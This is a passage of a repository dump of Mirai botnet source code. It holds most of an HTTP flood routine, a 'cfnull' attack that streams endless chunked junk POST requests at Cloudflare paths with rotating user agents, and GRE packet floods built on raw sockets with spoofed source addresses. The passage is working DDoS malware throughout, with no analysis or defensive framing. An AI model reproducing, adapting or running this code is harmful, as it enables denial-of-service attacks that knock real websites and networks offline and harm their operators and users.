1, &(loc_ptr[ii + 1]));\n                                }\n                            }\n                            else if (loc_ptr[0] == '/')\n                            {\n                                //handle relative url\n                                util_zero(conn->path + 1, HTTP_PATH_MAX - 1);\n                                if (util_strlen(&(loc_ptr[ii + 1])) > 0 && util_strlen(&(loc_ptr[ii + 1])) < HTTP_PATH_MAX)\n                                    util_strcpy(conn->path + 1, &(loc_ptr[ii + 1]));\n                            }\n\n                            conn->state = HTTP_CONN_RESTART;\n                            continue;\n                        }\n                    }\n\n                    if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_REFRESH_HDR, NULL)) != -1)\n                    {\n                        int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_REFRESH_HDR, NULL));\n                        if (generic_memes[offset] == ' ')\n                            offset++;\n\n                        int nl_off = util_memsearch(generic_memes + offset, ret - offset, \"\\r\\n\", 2);\n                        if (nl_off != -1)\n                        {\n                            char *loc_ptr = &(generic_memes[offset]);\n\n                            if (nl_off >= 2)\n                                nl_off -= 2;\n                            generic_memes[offset + nl_off] = 0;\n\n                            //increment it one so that it is length of the string excluding null char instead of 0-based offset\n                            nl_off++;\n\n                            ii = 0;\n\n                            while (loc_ptr[ii] != 0 && loc_ptr[ii] >= '0' && loc_ptr[ii] <= '9')\n                                ii++;\n\n                            if (loc_ptr[ii] != 0)\n                            {\n                                int wait_time = 0;\n                                loc_ptr[ii] = 0;\n                                ii++;\n\n                                if (loc_ptr[ii] == ' ')\n                                    ii++;\n\n                                if (util_stristr(&(loc_ptr[ii]), util_strlen(&(loc_ptr[ii])), \"url=\") != -1)\n                                    ii += util_stristr(&(loc_ptr[ii]), util_strlen(&(loc_ptr[ii])), \"url=\");\n\n                                if (loc_ptr[ii] == '\"')\n                                {\n                                    ii++;\n\n                                    //yes its ugly, but i dont care\n                                    if ((&(loc_ptr[ii]))[util_strlen(&(loc_ptr[ii])) - 1] == '\"')\n                                        (&(loc_ptr[ii]))[util_strlen(&(loc_ptr[ii])) - 1] = 0;\n                                }\n\n                                wait_time = util_atoi(loc_ptr, 10);\n\n                                //YOLO LOL\n                                while (wait_time > 0 && wait_time < 10 && fake_time + wait_time > time(NULL))\n                                    sleep(1);\n\n                                loc_ptr = &(loc_ptr[ii]);\n\n\n                                if (util_stristr(loc_ptr, util_strlen(loc_ptr), \"http\") == 4)\n                                {\n                                    //this is an absolute url, domain name change maybe?\n                                    ii = 7;\n                                    //http(s)\n                                    if (loc_ptr[4] == 's')\n                                        ii++;\n\n                                    memmove(loc_ptr, loc_ptr + ii, nl_off - ii);\n                                    ii = 0;\n                                    while (loc_ptr[ii] != 0)\n                                    {\n                                        if (loc_ptr[ii] == '/')\n                                        {\n                                            loc_ptr[ii] = 0;\n                                            break;\n                                        }\n                                        ii++;\n                                    }\n\n                                    // domain: loc_ptr;\n                                    // path: &(loc_ptr[ii + 1]);\n\n                                    if (util_strlen(loc_ptr) > 0 && util_strlen(loc_ptr) < HTTP_DOMAIN_MAX)\n                                        util_strcpy(conn->domain, loc_ptr);\n\n                                    if (util_strlen(&(loc_ptr[ii + 1])) < HTTP_PATH_MAX)\n                                    {\n                                        util_zero(conn->path + 1, HTTP_PATH_MAX - 1);\n                                        if (util_strlen(&(loc_ptr[ii + 1])) > 0)\n                                            util_strcpy(conn->path + 1, &(loc_ptr[ii + 1]));\n                                    }\n                                }\n                                else if (loc_ptr[0] == '/')\n                                {\n                                    //handle relative url\n                                    if (util_strlen(&(loc_ptr[ii + 1])) < HTTP_PATH_MAX)\n                                    {\n                                        util_zero(conn->path + 1, HTTP_PATH_MAX - 1);\n                                        if (util_strlen(&(loc_ptr[ii + 1])) > 0)\n                                            util_strcpy(conn->path + 1, &(loc_ptr[ii + 1]));\n                                    }\n                                }\n\n                                strcpy(conn->method, \"GET\");\n                                // queue the state up for the next time\n                                conn->state = HTTP_CONN_QUEUE_RESTART;\n                                continue;\n                            }\n                        }\n                    }\n\n                    // actually pull the content from the buffer that we processed via MSG_PEEK\n                    processed = util_memsearch(generic_memes, ret, \"\\r\\n\\r\\n\", 4);\n\n                    if (util_strcmp(conn->method, \"POST\") || util_strcmp(conn->method, \"GET\"))\n                        conn->state = HTTP_CONN_RECV_BODY;\n                    else if (ret > processed)\n                        conn->state = HTTP_CONN_QUEUE_RESTART;\n                    else\n                        conn->state = HTTP_CONN_RESTART;\n\n                    ret = recv(conn->fd, generic_memes, processed, MSG_NOSIGNAL);\n                } else if (conn->state == HTTP_CONN_RECV_BODY) {\n                    while (TRUE)\n                    {\n                        // spooky doods changed state\n                        if (conn->state != HTTP_CONN_RECV_BODY)\n                        {\n                            break;\n                        }\n\n                        if (conn->rdbuf_pos == HTTP_RDBUF_SIZE)\n                        {\n                            memmove(conn->rdbuf, conn->rdbuf + HTTP_HACK_DRAIN, HTTP_RDBUF_SIZE - HTTP_HACK_DRAIN);\n                            conn->rdbuf_pos -= HTTP_HACK_DRAIN;\n                        }\n                        errno = 0;\n                        ret = recv(conn->fd, conn->rdbuf + conn->rdbuf_pos, HTTP_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);\n                        if (ret == 0)\n                        {\n#ifdef DEBUG\n                            printf(\"[http flood] FD%d connection gracefully closed\\n\", conn->fd);\n#endif\n                            errno = ECONNRESET;\n                            ret = -1; // Fall through to closing connection below\n                        }\n                        if (ret == -1)\n                        {\n                            if (errno != EAGAIN && errno != EWOULDBLOCK)\n                            {\n#ifdef DEBUG\n                                printf(\"[http flood] FD%d lost connection\\n\", conn->fd);\n#endif\n                                close(conn->fd);\n                                conn->fd = -1;\n                                conn->state = HTTP_CONN_INIT;\n                            }\n                            break;\n                        }\n\n                        conn->rdbuf_pos += ret;\n                        conn->last_recv = fake_time;\n\n                        while (TRUE)\n                        {\n                            int consumed = 0;\n\n                            if (conn->content_length > 0)\n                            {\n\n                                consumed = conn->content_length > conn->rdbuf_pos ? conn->rdbuf_pos : conn->content_length;\n                                conn->content_length -= consumed;\n\n                                if (conn->protection_type == HTTP_PROT_DOSARREST)\n                                {\n                                    // we specifically want this to be case sensitive\n                                    if (util_memsearch(conn->rdbuf, conn->rdbuf_pos, table_retrieve_val(TABLE_ATK_SET_COOKIE, NULL), 11) != -1)\n                                    {\n                                        int start_pos = util_memsearch(conn->rdbuf, conn->rdbuf_pos, table_retrieve_val(TABLE_ATK_SET_COOKIE, NULL), 11);\n                                        int end_pos = util_memsearch(&(conn->rdbuf[start_pos]), conn->rdbuf_pos - start_pos, \"'\", 1);\n                                        conn->rdbuf[start_pos + (end_pos - 1)] = 0;\n\n                                        if (conn->num_cookies < HTTP_COOKIE_MAX && util_strlen(&(conn->rdbuf[start_pos])) < HTTP_COOKIE_LEN_MAX)\n                                        {\n                                            util_strcpy(conn->cookies[conn->num_cookies], &(conn->rdbuf[start_pos]));\n                                            util_strcpy(conn->cookies[conn->num_cookies] + util_strlen(conn->cookies[conn->num_cookies]), \"=\");\n\n                                            start_pos += end_pos + 3;\n                                            end_pos = util_memsearch(&(conn->rdbuf[start_pos]), conn->rdbuf_pos - start_pos, \"'\", 1);\n                                            conn->rdbuf[start_pos + (end_pos - 1)] = 0;\n\n                                            util_strcpy(conn->cookies[conn->num_cookies] + util_strlen(conn->cookies[conn->num_cookies]), &(conn->rdbuf[start_pos]));\n                                            conn->num_cookies++;\n                                        }\n\n                                        conn->content_length = -1;\n                                        conn->state = HTTP_CONN_QUEUE_RESTART;\n                                        break;\n                                    }\n                                }\n                            }\n\n                            if (conn->content_length == 0)\n                            {\n                                if (conn->chunked == 1)\n                                {\n                                    if (util_memsearch(conn->rdbuf, conn->rdbuf_pos, \"\\r\\n\", 2) != -1)\n                                    {\n                                        int new_line_pos = util_memsearch(conn->rdbuf, conn->rdbuf_pos, \"\\r\\n\", 2);\n                                        conn->rdbuf[new_line_pos - 2] = 0;\n                                        if (util_memsearch(conn->rdbuf, new_line_pos, \";\", 1) != -1)\n                                            conn->rdbuf[util_memsearch(conn->rdbuf, new_line_pos, \";\", 1)] = 0;\n\n                                        int chunklen = util_atoi(conn->rdbuf, 16);\n\n                                        if (chunklen == 0)\n                                        {\n                                            conn->state = HTTP_CONN_RESTART;\n                                            break;\n                                        }\n\n                                        conn->content_length = chunklen + 2;\n                                        consumed = new_line_pos;\n                                    }\n                                } else {\n                                    // get rid of any extra in the buf before we move on...\n                                    conn->content_length = conn->rdbuf_pos - consumed;\n                                    if (conn->content_length == 0)\n                                    {\n                                        conn->state = HTTP_CONN_RESTART;\n                                        break;\n                                    }\n                                }\n                            }\n\n                            if (consumed == 0)\n                                break;\n                            else\n                            {\n                                conn->rdbuf_pos -= consumed;\n                                memmove(conn->rdbuf, conn->rdbuf + consumed, conn->rdbuf_pos);\n                                conn->rdbuf[conn->rdbuf_pos] = 0;\n\n                                if (conn->rdbuf_pos == 0)\n                                    break;\n                            }\n                        }\n                    }\n                } else if (conn->state == HTTP_CONN_QUEUE_RESTART) {\n                    while(TRUE)\n                    {\n                        errno = 0;\n                        ret = recv(conn->fd, generic_memes, 10240, MSG_NOSIGNAL);\n                        if (ret == 0)\n                        {\n#ifdef DEBUG\n                            printf(\"[http flood] HTTP_CONN_QUEUE_RESTART FD%d connection gracefully closed\\n\", conn->fd);\n#endif\n                            errno = ECONNRESET;\n                            ret = -1; // Fall through to closing connection below\n                        }\n                        if (ret == -1)\n                        {\n                            if (errno != EAGAIN && errno != EWOULDBLOCK)\n                            {\n#ifdef DEBUG\n                                printf(\"[http flood] HTTP_CONN_QUEUE_RESTART FD%d lost connection\\n\", conn->fd);\n#endif\n                                close(conn->fd);\n                                conn->fd = -1;\n                                conn->state = HTTP_CONN_INIT;\n                            }\n                            break;\n                        }    \n                    }\n                    if (conn->state != HTTP_CONN_INIT)\n                        conn->state = HTTP_CONN_RESTART;\n                }\n            }\n        }\n\n        // handle any sockets that didnt return from select here\n        // also handle timeout on HTTP_CONN_QUEUE_RESTART just in case there was no other data to be read (^: (usually this will never happen)\n#ifdef DEBUG\n        if (sockets == 1)\n        {\n            printf(\"debug mode sleep\\n\");\n            sleep(1);\n        }\n#endif\n    }\n}\n\nvoid attack_app_cfnull(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)\n{\n    int i, ii, rfd, ret = 0;\n    struct attack_cfnull_state *http_table = NULL;\n    char *domain = attack_get_opt_str(opts_len, opts, ATK_OPT_DOMAIN, NULL);\n    int sockets = attack_get_opt_int(opts_len, opts, ATK_OPT_CONNS, 1);\n\n    char generic_memes[10241] = {0};\n\n    if (domain == NULL)\n        return;\n\n    if (util_strlen(domain) > HTTP_DOMAIN_MAX - 1)\n        return;\n\n    if (sockets > HTTP_CONNECTION_MAX)\n        sockets = HTTP_CONNECTION_MAX;\n\n    http_table = calloc(sockets, sizeof(struct attack_cfnull_state));\n\n    for (i = 0; i < sockets; i++)\n    {\n        http_table[i].state = HTTP_CONN_INIT;\n        http_table[i].fd = -1;\n        http_table[i].dst_addr = targs[i % targs_len].addr;\n\n        util_strcpy(http_table[i].domain, domain);\n\n        if (targs[i % targs_len].netmask < 32)\n            http_table[i].dst_addr = htonl(ntohl(targs[i % targs_len].addr) + (((uint32_t)rand_next()) >> targs[i % targs_len].netmask));\n\n        switch(rand_next() % 5)\n        {\n            case 0:\n                table_unlock_val(TABLE_HTTP_ONE);\n                util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_ONE, NULL));\n                table_lock_val(TABLE_HTTP_ONE);\n                break;\n            case 1:\n                table_unlock_val(TABLE_HTTP_TWO);\n                util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_TWO, NULL));\n                table_lock_val(TABLE_HTTP_TWO);\n                break;\n            case 2:\n                table_unlock_val(TABLE_HTTP_THREE);\n                util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_THREE, NULL));\n                table_lock_val(TABLE_HTTP_THREE);\n                break;\n            case 3:\n                table_unlock_val(TABLE_HTTP_FOUR);\n                util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_FOUR, NULL));\n                table_lock_val(TABLE_HTTP_FOUR);\n                break;\n            case 4:\n                table_unlock_val(TABLE_HTTP_FIVE);\n                util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_FIVE, NULL));\n                table_lock_val(TABLE_HTTP_FIVE);\n                break;\n        }\n    }\n\n    while(TRUE)\n    {\n        fd_set fdset_rd, fdset_wr;\n        int mfd = 0, nfds;\n        struct timeval tim;\n        struct attack_cfnull_state *conn;\n        uint32_t fake_time = time(NULL);\n\n        FD_ZERO(&fdset_rd);\n        FD_ZERO(&fdset_wr);\n\n        for (i = 0; i < sockets; i++)\n        {\n            conn = &(http_table[i]);\n\n            if (conn->state == HTTP_CONN_RESTART)\n            {\n                conn->state = HTTP_CONN_INIT;\n            }\n\n            if (conn->state == HTTP_CONN_INIT)\n            {\n                struct sockaddr_in addr = {0};\n\n                if (conn->fd != -1)\n                    close(conn->fd);\n                if ((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)\n                    continue;\n\n                fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));\n\n                ii = 65535;\n                setsockopt(conn->fd, 0, SO_RCVBUF, &ii ,sizeof(int));\n\n                addr.sin_family = AF_INET;\n                addr.sin_addr.s_addr = conn->dst_addr;\n                addr.sin_port = htons(80);\n\n                conn->last_recv = fake_time;\n                conn->state = HTTP_CONN_CONNECTING;\n                connect(conn->fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));\n#ifdef DEBUG\n                printf(\"[http flood] fd%d started connect\\n\", conn->fd);\n#endif\n\n                FD_SET(conn->fd, &fdset_wr);\n                if (conn->fd > mfd)\n                    mfd = conn->fd + 1;\n            }\n            else if (conn->state == HTTP_CONN_CONNECTING)\n            {\n                if (fake_time - conn->last_recv > 30)\n                {\n                    conn->state = HTTP_CONN_INIT;\n                    close(conn->fd);\n                    conn->fd = -1;\n                    continue;\n                }\n\n                FD_SET(conn->fd, &fdset_wr);\n                if (conn->fd > mfd)\n                    mfd = conn->fd + 1;\n            }\n            else if (conn->state == HTTP_CONN_SEND_HEADERS)\n            {\n#ifdef DEBUG\n                //printf(\"[http flood] Sending http request\\n\");\n#endif\n\n                char buf[10240];\n                util_zero(buf, 10240);\n\n                //util_strcpy(buf + util_strlen(buf), \"POST /cdn-cgi/l/chk_captcha HTTP/1.1\\r\\nUser-Agent: \");\n                util_strcpy(buf + util_strlen(buf), \"POST /cdn-cgi/\");\n                rand_alphastr(buf + util_strlen(buf), 16);\n                util_strcpy(buf + util_strlen(buf), \" HTTP/1.1\\r\\nUser-Agent: \");\n                util_strcpy(buf + util_strlen(buf), conn->user_agent);\n                util_strcpy(buf + util_strlen(buf), \"\\r\\nHost: \");\n                util_strcpy(buf + util_strlen(buf), conn->domain);\n                util_strcpy(buf + util_strlen(buf), \"\\r\\n\");\n\n                table_unlock_val(TABLE_ATK_KEEP_ALIVE);\n                util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_KEEP_ALIVE, NULL));\n                table_lock_val(TABLE_ATK_KEEP_ALIVE);\n                util_strcpy(buf + util_strlen(buf), \"\\r\\n\");\n\n                table_unlock_val(TABLE_ATK_ACCEPT);\n                util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_ACCEPT, NULL));\n                table_lock_val(TABLE_ATK_ACCEPT);\n                util_strcpy(buf + util_strlen(buf), \"\\r\\n\");\n\n                table_unlock_val(TABLE_ATK_ACCEPT_LNG);\n                util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_ACCEPT_LNG, NULL));\n                table_lock_val(TABLE_ATK_ACCEPT_LNG);\n                util_strcpy(buf + util_strlen(buf), \"\\r\\n\");\n\n                table_unlock_val(TABLE_ATK_CONTENT_TYPE);\n                util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_CONTENT_TYPE, NULL));\n                table_lock_val(TABLE_ATK_CONTENT_TYPE);\n                util_strcpy(buf + util_strlen(buf), \"\\r\\n\");\n\n                table_unlock_val(TABLE_ATK_TRANSFER_ENCODING_HDR);\n                util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_TRANSFER_ENCODING_HDR, NULL));\n                table_lock_val(TABLE_ATK_TRANSFER_ENCODING_HDR);\n                util_strcpy(buf + util_strlen(buf), \" \");\n                table_unlock_val(TABLE_ATK_CHUNKED);\n                util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_CHUNKED, NULL));\n                table_lock_val(TABLE_ATK_CHUNKED);\n                util_strcpy(buf + util_strlen(buf), \"\\r\\n\");\n\n                util_strcpy(buf + util_strlen(buf), \"\\r\\n\");\n\n                conn->to_send = (80 * 1024 * 1024);\n\n#ifdef DEBUG\n                if (sockets == 1)\n                {\n                    printf(\"sending buf: \\\"%s\\\"\\n\", buf);\n                }\n#endif\n\n                send(conn->fd, buf, util_strlen(buf), MSG_NOSIGNAL);\n                conn->last_send = fake_time;\n\n                conn->state = HTTP_CONN_SEND_JUNK;\n                FD_SET(conn->fd, &fdset_wr);\n                FD_SET(conn->fd, &fdset_rd);\n                if (conn->fd > mfd)\n                    mfd = conn->fd + 1;\n            }\n            else if (conn->state == HTTP_CONN_SEND_JUNK)\n            {\n                int sent = 0;\n                char rndbuf[1025] = {0};\n                util_zero(rndbuf, 1025);\n                rand_alphastr(rndbuf, 1024);\n\n                if (conn->to_send <= 0)\n                {\n                    send(conn->fd, \"0\\r\\n\", 3, MSG_NOSIGNAL);\n                } else {\n                    // EZZZZZZZZZ HACKS\n                    if (conn->to_send < 1024)\n                        rndbuf[conn->to_send] = 0;\n\n                    if ((conn->to_send >= 1024 && (conn->to_send % 1024) == 0))\n                    {\n                        char szbuf[4] = {0};\n                        util_zero(szbuf, 4);\n                        util_itoa(1024, 16, szbuf);\n                        send(conn->fd, szbuf, util_strlen(szbuf), MSG_NOSIGNAL);\n                        send(conn->fd, \"\\r\\n\", 2, MSG_NOSIGNAL);\n                    }\n\n                    if ((sent = send(conn->fd, rndbuf, util_strlen(rndbuf), MSG_NOSIGNAL)) == -1)\n                    {\n                        conn->state = HTTP_CONN_RESTART;\n                        continue;\n                    }\n\n                    // if our local send buffer is full, slow down. no need to rush (^:\n                    if (sent != util_strlen(rndbuf))\n                    {\n                        conn->state = HTTP_CONN_SNDBUF_WAIT;\n                    }\n\n                    conn->to_send -= sent;\n                    FD_SET(conn->fd, &fdset_wr);\n                }\n\n                conn->last_send = fake_time;\n                FD_SET(conn->fd, &fdset_rd);\n                if (conn->fd > mfd)\n                    mfd = conn->fd + 1;\n            }\n            else if (conn->state == HTTP_CONN_SNDBUF_WAIT)\n            {\n                FD_SET(conn->fd, &fdset_wr);\n                if (conn->fd > mfd)\n                    mfd = conn->fd + 1;\n            }\n            else\n            {\n                // NEW STATE WHO DIS\n                conn->state = HTTP_CONN_INIT;\n                close(conn->fd);\n                conn->fd = -1;\n            }\n        }\n\n        if (mfd == 0)\n            continue;\n\n        tim.tv_usec = 0;\n        tim.tv_sec = 1;\n        nfds = select(mfd, &fdset_rd, &fdset_wr, NULL, &tim);\n        fake_time = time(NULL);\n\n        if (nfds < 1)\n            continue;\n\n        for (i = 0; i < sockets; i++)\n        {\n            conn = &(http_table[i]);\n\n            if (conn->fd == -1)\n                continue;\n\n            if (FD_ISSET(conn->fd, &fdset_wr))\n            {\n                if (conn->state == HTTP_CONN_CONNECTING)\n                {\n                    int err = 0;\n                    socklen_t err_len = sizeof (err);\n\n                    ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);\n                    if (err == 0 && ret == 0)\n                    {\n#ifdef DEBUG\n                        printf(\"[http flood] FD%d connected.\\n\", conn->fd);\n#endif\n                        conn->state = HTTP_CONN_SEND;\n                    }\n                    else\n                    {\n#ifdef DEBUG\n                        printf(\"[http flood] FD%d error while connecting = %d\\n\", conn->fd, err);\n#endif\n                        close(conn->fd);\n                        conn->fd = -1;\n                        conn->state = HTTP_CONN_INIT;\n                        continue;\n                    }\n                }\n                else if (conn->state == HTTP_CONN_SNDBUF_WAIT)\n                {\n\t\t\t\t\tconn->state = HTTP_CONN_SEND_JUNK;\n                }\n            }\n\n            if (FD_ISSET(conn->fd, &fdset_rd))\n            {\n                // if we get any sort of headers or error code then punt it.\n                // we really dont care about any content we get\n                conn->state = HTTP_CONN_RESTART;\n            }\n        }\n\n        // handle any sockets that didnt return from select here\n        // also handle timeout on HTTP_CONN_QUEUE_RESTART just in case there was no other data to be read (^: (usually this will never happen)\n#ifdef DEBUG\n        if (sockets == 1)\n        {\n            printf(\"debug mode sleep\\n\");\n            sleep(1);\n        }\n#endif\n    }\n}\n\n"
  },
  {
    "path": "mirai/bot/attack_gre.c",
    "content": "#define _GNU_SOURCE\n\n#ifdef DEBUG\n#include <stdio.h>\n#endif\n#include <stdlib.h>\n#include <unistd.h>\n#include <sys/socket.h>\n#include <linux/ip.h>\n#include <linux/if_ether.h>\n#include <errno.h>\n\n#include \"includes.h\"\n#include \"attack.h\"\n#include \"protocol.h\"\n#include \"util.h\"\n#include \"checksum.h\"\n#include \"rand.h\"\n\nvoid attack_gre_ip(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)\n{\n    int i, fd;\n    char **pkts = calloc(targs_len, sizeof (char *));\n    uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);\n    uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);\n    uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);\n    BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE);\n    port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);\n    port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);\n    int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);\n    BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);\n    BOOL gcip = attack_get_opt_int(opts_len, opts, ATK_OPT_GRE_CONSTIP, FALSE);\n    uint32_t source_ip = attack_get_opt_int(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);\n\n    if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)\n    {\n#ifdef DEBUG\n        printf(\"Failed to create raw socket. Aborting attack\\n\");\n#endif\n        return;\n    }\n    i = 1;\n    if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)\n    {\n#ifdef DEBUG\n        printf(\"Failed to set IP_HDRINCL. Aborting\\n\");\n#endif\n        close(fd);\n        return;\n    }\n\n    for (i = 0; i < targs_len; i++)\n    {\n        struct iphdr *iph;\n        struct grehdr *greh;\n        struct iphdr *greiph;\n        struct udphdr *udph;\n\n        pkts[i] = calloc(1510, sizeof (char *));\n        iph = (struct iphdr *)(pkts[i]);\n        greh = (struct grehdr *)(iph + 1);\n        greiph = (struct iphdr *)(greh + 1);\n        udph = (struct udphdr *)(greiph + 1);\n\n        // IP header init\n        iph->version = 4;\n        iph->ihl = 5;\n        iph->tos = ip_tos;\n        iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len);\n        iph->id = htons(ip_ident);\n        iph->ttl = ip_ttl;\n        if (dont_frag)\n            iph->frag_off = htons(1 << 14);\n        iph->protocol = IPPROTO_GRE;\n        iph->saddr = source_ip;\n        iph->daddr = targs[i].addr;\n\n        // GRE header init\n        greh->protocol = htons(ETH_P_IP); // Protocol is 2 bytes\n\n        // Encapsulated IP header init\n        greiph->version = 4;\n        greiph->ihl = 5;\n        greiph->tos = ip_tos;\n        greiph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + data_len);\n        greiph->id = htons(~ip_ident);\n        greiph->ttl = ip_ttl;\n        if (dont_frag)\n            greiph->frag_off = htons(1 << 14);\n        greiph->protocol = IPPROTO_UDP;\n        greiph->saddr = rand_next();\n        if (gcip)\n            greiph->daddr = iph->daddr;\n        else\n            greiph->daddr = ~(greiph->saddr - 1024);\n\n        // UDP header init\n        udph->source = htons(sport);\n        udph->dest = htons(dport);\n        udph->len = htons(sizeof (struct udphdr) + data_len);\n    }\n\n    while (TRUE)\n    {\n        for (i = 0; i < targs_len; i++)\n        {\n            char *pkt = pkts[i];\n            struct iphdr *iph = (struct iphdr *)pkt;\n            struct grehdr *greh = (struct grehdr *)(iph + 1);\n            struct iphdr *greiph = (struct iphdr *)(greh + 1);\n            struct udphdr *udph = (struct udphdr *)(greiph + 1);\n            char *data = (char *)(udph + 1);\n\n            // For prefix attacks\n            if (targs[i].netmask < 32)\n                iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));\n\n            if (source_ip == 0xffffffff)\n                iph->saddr = rand_next();\n\n            if (ip_ident == 0xffff)\n            {\n                iph->id = rand_next() & 0xffff;\n                greiph->id = ~(iph->id - 1000);\n            }\n            if (sport == 0xffff)\n                udph->source = rand_next() & 0xffff;\n            if (dport == 0xffff)\n                udph->dest = rand_next() & 0xffff;\n\n            if (!gcip)\n                greiph->daddr = rand_next();\n            else\n                greiph->daddr = iph->daddr;\n\n            if (data_rand)\n                rand_str(data, data_len);\n\n            iph->check = 0;\n            iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));\n\n            greiph->check = 0;\n            greiph->check = checksum_generic((uint16_t *)greiph, sizeof (struct iphdr));\n\n            udph->check = 0;\n            udph->check = checksum_tcpudp(greiph, udph, udph->len, sizeof (struct udphdr) + data_len);\n\n            targs[i].sock_addr.sin_family = AF_INET;\n            targs[i].sock_addr.sin_addr.s_addr = iph->daddr;\n            targs[i].sock_addr.sin_port = 0;\n            sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));\n        }\n\n#ifdef DEBUG\n        if (errno != 0)\n            printf(\"errno = %d\\n\", errno);\n        break;\n#endif\n    }\n}\n\nvoid attack_gre_eth(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)\n{\n    int i, fd;\n    char **pkts = calloc(targs_len, sizeof (char *));\n    uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);\n    uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);\n    uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);\n    BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE);\n    port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);\n    port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);\n    int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);\n    BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);\n    BOOL gcip = attack_get_opt_int(opts_len, opts, ATK_OPT_GRE_CONSTIP, FALSE);\n    uint32_t source_ip = attack_get_opt_int(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);\n\n    if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)\n    {\n#ifdef DEBUG\n        printf(\"Failed to create raw socket. Aborting attack\\n\");\n#endif\n        return;\n    }\n    i = 1;\n    if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)\n    {\n#ifdef DEBUG\n        printf(\"Failed to set IP_HDRINCL. Aborting\\n\");\n#endif\n        close(fd);\n        return;\n    }\n\n    for (i = 0; i < targs_len; i++)\n    {\n        struct iphdr *iph;\n        struct grehdr *greh;\n        struct ethhdr *ethh;\n        struct iphdr *greiph;\n        struct udphdr *udph;\n        uint32_t ent1, ent2, ent3;\n\n        pkts[i] = calloc(1510, sizeof (char *));\n        iph = (struct iphdr *)(pkts[i]);\n        greh = (struct grehdr *)(iph + 1);\n        ethh = (struct ethhdr *)(greh + 1);\n        greiph = (struct iphdr *)(ethh + 1);\n        udph = (struct udphdr *)(greiph + 1);\n\n        // IP header init\n        iph->version = 4;\n        iph->ihl = 5;\n        iph->tos = ip_tos;\n        iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct ethhdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len);\n        iph->id = htons(ip_ident);\n        iph->ttl = ip_ttl;\n        if (dont_frag)\n            iph->frag_off = htons(1 << 14);\n        iph->protocol = IPPROTO_GRE;\n        iph->saddr = source_ip;\n        iph->daddr = targs[i].addr;\n\n        // GRE header init\n        greh->protocol = htons(PROTO_GRE_TRANS_ETH); // Protocol is 2 bytes\n\n        // Ethernet header init\n        ethh->h_proto = htons(ETH_P_IP);\n\n        // Encapsulated IP header init\n        greiph->version = 4;\n        greiph->ihl = 5;\n        greiph->tos = ip_tos;\n        greiph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + data_len);\n        greiph->id = htons(~ip_ident);\n        greiph->ttl = ip_ttl;\n        if (dont_frag)\n            greiph->frag_off = htons(1 << 14);\n        greiph->protocol = IPPROTO_UDP;\n        greiph->saddr = rand_next();\n        if (gcip)\n            greiph->daddr = iph->daddr;\n        else\n            greiph->daddr = 